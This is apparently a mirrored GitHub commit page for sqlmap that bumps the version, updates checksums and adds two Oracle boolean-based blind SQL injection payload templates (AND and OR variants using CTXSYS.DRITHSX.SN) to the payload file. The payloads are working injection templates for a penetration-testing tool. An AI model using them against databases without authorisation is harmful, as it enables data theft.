Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit fb8afc6

Browse files
stamparmstamparm
committed
Adding a new payload (Oracle boolean based on error response)
1 parent 6c372a0 commit fb8afc6

3 files changed

Lines changed: 41 additions & 3 deletions

File tree

‎lib/core/settings.py‎

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -20,7 +20,7 @@
2020
from lib.core.revision import getRevisionNumber
2121

2222
# sqlmap version (<major>.<minor>.<month>.<monthly commit>)
23-
VERSION = "1.0.10.6"
23+
VERSION = "1.0.10.7"
2424
REVISION = getRevisionNumber()
2525
TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable"
2626
TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34}

‎txt/checksum.md5‎

Lines changed: 2 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -45,7 +45,7 @@ e60456db5380840a586654344003d4e6 lib/core/readlineng.py
4545
5ef56abb8671c2ca6ceecb208258e360 lib/core/replication.py
4646
99a2b496b9d5b546b335653ca801153f lib/core/revision.py
4747
7c15dd2777af4dac2c89cab6df17462e lib/core/session.py
48-
4e78d64048b5907b598c0a4fd4ea9c32 lib/core/settings.py
48+
770831663e6aae4e1f8061a4391a746c lib/core/settings.py
4949
7af83e4f18cab6dff5e67840eb65be80 lib/core/shell.py
5050
23657cd7d924e3c6d225719865855827 lib/core/subprocessng.py
5151
c3ace7874a536d801f308cf1fd03df99 lib/core/target.py
@@ -448,7 +448,7 @@ d989813ee377252bca2103cea524c06b xml/banner/sharepoint.xml
448448
fb93505ef0ab3b4a20900f3e5625260d xml/boundaries.xml
449449
535d625cff8418bdc086ab4e1bbf5135 xml/errors.xml
450450
a279656ea3fcb85c727249b02f828383 xml/livetests.xml
451-
4b266898af8b7f380db910511de24ec4 xml/payloads/boolean_blind.xml
451+
6df1f1dca6a0ef60b06b173f4132328e xml/payloads/boolean_blind.xml
452452
103a4c9b12c582b24a3fac8147a9c8d4 xml/payloads/error_based.xml
453453
06b1a210b190d52477a9d492443725b5 xml/payloads/inline_query.xml
454454
3194e2688a7576e1f877d5b137f7c260 xml/payloads/stacked_queries.xml

‎xml/payloads/boolean_blind.xml‎

Lines changed: 38 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -486,6 +486,44 @@ Tag: <test>
486486
<dbms>MySQL</dbms>
487487
</details>
488488
</test>
489+
490+
<test>
491+
<title>Oracle AND boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (CTXSYS.DRITHSX.SN)</title>
492+
<stype>1</stype>
493+
<level>2</level>
494+
<risk>1</risk>
495+
<clause>1,2,3</clause>
496+
<where>1</where>
497+
<vector>AND (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector>
498+
<request>
499+
<payload>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload>
500+
</request>
501+
<response>
502+
<comparison>AND (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison>
503+
</response>
504+
<details>
505+
<dbms>Oracle</dbms>
506+
</details>
507+
</test>
508+
509+
<test>
510+
<title>Oracle OR boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause (CTXSYS.DRITHSX.SN)</title>
511+
<stype>1</stype>
512+
<level>3</level>
513+
<risk>3</risk>
514+
<clause>1,2,3</clause>
515+
<where>1</where>
516+
<vector>OR (SELECT (CASE WHEN ([INFERENCE]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</vector>
517+
<request>
518+
<payload>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</payload>
519+
</request>
520+
<response>
521+
<comparison>OR (SELECT (CASE WHEN ([RANDNUM]=[RANDNUM1]) THEN NULL ELSE CTXSYS.DRITHSX.SN(1,[RANDNUM]) END) FROM DUAL) IS NULL</comparison>
522+
</response>
523+
<details>
524+
<dbms>Oracle</dbms>
525+
</details>
526+
</test>
489527
<!-- End of boolean-based blind tests - WHERE or HAVING clause -->
490528

491529
<!-- Boolean-based blind tests - Parameter replace -->

0 commit comments

Comments
 (0)